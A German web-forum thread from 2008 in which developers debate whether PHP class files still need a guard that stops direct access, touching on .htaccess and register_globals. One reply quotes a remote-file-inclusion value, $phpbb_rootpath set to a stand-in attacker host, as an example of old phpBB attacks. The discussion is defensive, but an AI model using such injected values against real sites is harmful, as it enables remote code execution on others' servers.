Autor Beitrag
Heiko
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 3169
Erhaltene Danke: 11



BeitragVerfasst: Sa 29.11.08 12:38 
Hallo,

inzwischen sind ja viele PHP-Seiten OOP basiert. Man findet in deren PHP-Dateien also nur noch Klassen und keine blanken Variablen/Funtkionen. Doch findet man bei vielen Seiten weiterhin ein "die" am Anfangder Datei, falls die Seite direkt aufgerufen wurde. Ist das bei Klassen wirklich noch notwendig?

Beispiel:
ausblenden C#-Quelltext
1:
2:
3:
4:
5:
6:
7:
<?php
  if (!defined('MY_ROOT')) die('You can not access this file directly!'); //ist das hier noch notwendig?

  class Test{
    ...
  }
?>


Grüße
Heiko


Zuletzt bearbeitet von Heiko am Di 09.12.08 16:10, insgesamt 1-mal bearbeitet
Regan
ontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic starofftopic star
Beiträge: 2157
Erhaltene Danke: 72


Java (Eclipse), Python (Sublimetext 3)
BeitragVerfasst: Fr 05.12.08 11:25 
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Übrigens würde ich dir zu einer anderen Variante raten: Erstell dir eine htacces-Datei. Dort stellst du dann einfach ein, dass alles, was im Ordner "hierdeinklassenordner" ist, auf eine Acces-Denied-Seite umleitet. Dann kann der Nutzer nicht mal den Dateinamen "erraten".
Kha
ontopic starontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic star
Beiträge: 3803
Erhaltene Danke: 176

Arch Linux
Python, C, C++ (vim)
BeitragVerfasst: Fr 05.12.08 13:33 
user profile iconRegan hat folgendes geschrieben Zum zitierten Posting springen:
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen :| .

user profile iconHeiko hat folgendes geschrieben Zum zitierten Posting springen:
Ist das bei Klassen wirklich noch notwendig?
Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite :) .

_________________
>λ=
Heiko Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 3169
Erhaltene Danke: 11



BeitragVerfasst: Fr 05.12.08 18:58 
@Regan: Ahja, haste dir schon einmal die einfachen Pakete von HostEurope & Co angeguckt? Die Unterstützten manchmal keine .htaccess-Dateien. Von daher ist es wenn nur eione bedingter Sicherheitsgewinn.



user profile iconKha hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconRegan hat folgendes geschrieben Zum zitierten Posting springen:
Ich würde sagen: Ja! Alles, was der Nutzer nicht sehen muss, darf er auch nicht sehen.
Einen Webserver, der .php-Dateien zum Download anbietet, sollte man lieber auf der Stelle aus dem Fenster werfen :| .

Japp, schafft man aber z.B. dadurch, dass man den Server überlastet. Dann machen es einige ;). Allerdings würde es mich weniger stören. Mir gehts eher darum, dass keiner an die Daten der DB kommt. Wenn der Source OpenSource ist, ist es ja egal, wenn er die Dateien blanko ausliefert - schließlich kann man sich die eh so runterladen ;).

user profile iconKha hat folgendes geschrieben Zum zitierten Posting springen:
user profile iconHeiko hat folgendes geschrieben Zum zitierten Posting springen:
Ist das bei Klassen wirklich noch notwendig?
Ich denke nicht, aber es ist wenigstens für den User (wie auch immer er dorthin gelangt ist) eine schönere Fehlermeldung als eine leere Seite :) .

An der Stelle hast du natürlich Recht. Aber: wer auf eine php-Datei stößt, die eigentlich nicht direkt aufrufbar ist, hat meistens eher böse Absichten im Sinne - von daher ist es da ggf. Geschmackssache, ob man sich den Traffic gönnt oder nicht ;)
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Mo 08.12.08 15:53 
Diese Die-Anweisungen sind i.d.R. dafür gedacht, das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt. Bei Klassen ist es nicht direkt mehr nötig, sollte aber der Konsistenz halber für jegliche Seiten, die vom User nicht aufgerufen werden dürfen, durchgeführt werden.

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
Heiko Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 3169
Erhaltene Danke: 11



BeitragVerfasst: Mo 08.12.08 18:30 
user profile iconBenBE hat folgendes geschrieben Zum zitierten Posting springen:
das unerlaubte Aufrufen von Funktions-Bibliotheken zu unterbinden, was im Zusammenhang mit Register Globals sehr nette Sicherheitslücken zulässt.

Wie ruft man Funktionen auf? Dass man mit register_globals Variablen setzten kann, ist mir bewusst - aber wie ruft man Funktionen darüber auf?
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Mo 08.12.08 23:08 
Direkt Funktionsaufrufe erzwingen kann man nicht, man kann aber durch Register Globals sehr gut so tun, als ob dieses Modul legitim eingebunden wurde mit diesen (für den Angreifer günstigen) Werten und erhält damit eine nette Möglichkeit eigenen Code unterzujubeln. hat man gern mit $phpbb_rootpath='http://host.ev.il/?'; gemacht.

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
Heiko Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 3169
Erhaltene Danke: 11



BeitragVerfasst: Di 09.12.08 01:12 
Wenn in der Datei nur Funktionen definiert sind - dann dürfte doch nix passieren. php registriert dass da Funktionen drin sind, aber nix was er ausführen kann. Von daher sehe ich an der Stelle das Problem nicht. Na klar, sobald irgendeine Zeile Code direkt ausgeführt wird, wäre es unpraktisch - also da muss man logischerweise die Zeile einfügen.
BenBE
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 8721
Erhaltene Danke: 191

Win95, Win98SE, Win2K, WinXP
D1S, D3S, D4S, D5E, D6E, D7E, D9PE, D10E, D12P, DXEP, L0.9\FPC2.0
BeitragVerfasst: Di 09.12.08 13:30 
Korrekt, aber einen Grund, warum man es trotzdem tun sollte, hatte user profile iconKha ja bereits erwähnt.

_________________
Anyone who is capable of being elected president should on no account be allowed to do the job.
Ich code EdgeMonkey - In dubio pro Setting.
Heiko Threadstarter
ontopic starontopic starontopic starontopic starontopic starontopic starhalf ontopic starofftopic star
Beiträge: 3169
Erhaltene Danke: 11



BeitragVerfasst: Mi 10.12.08 00:12 
Ok danke für die Antworten.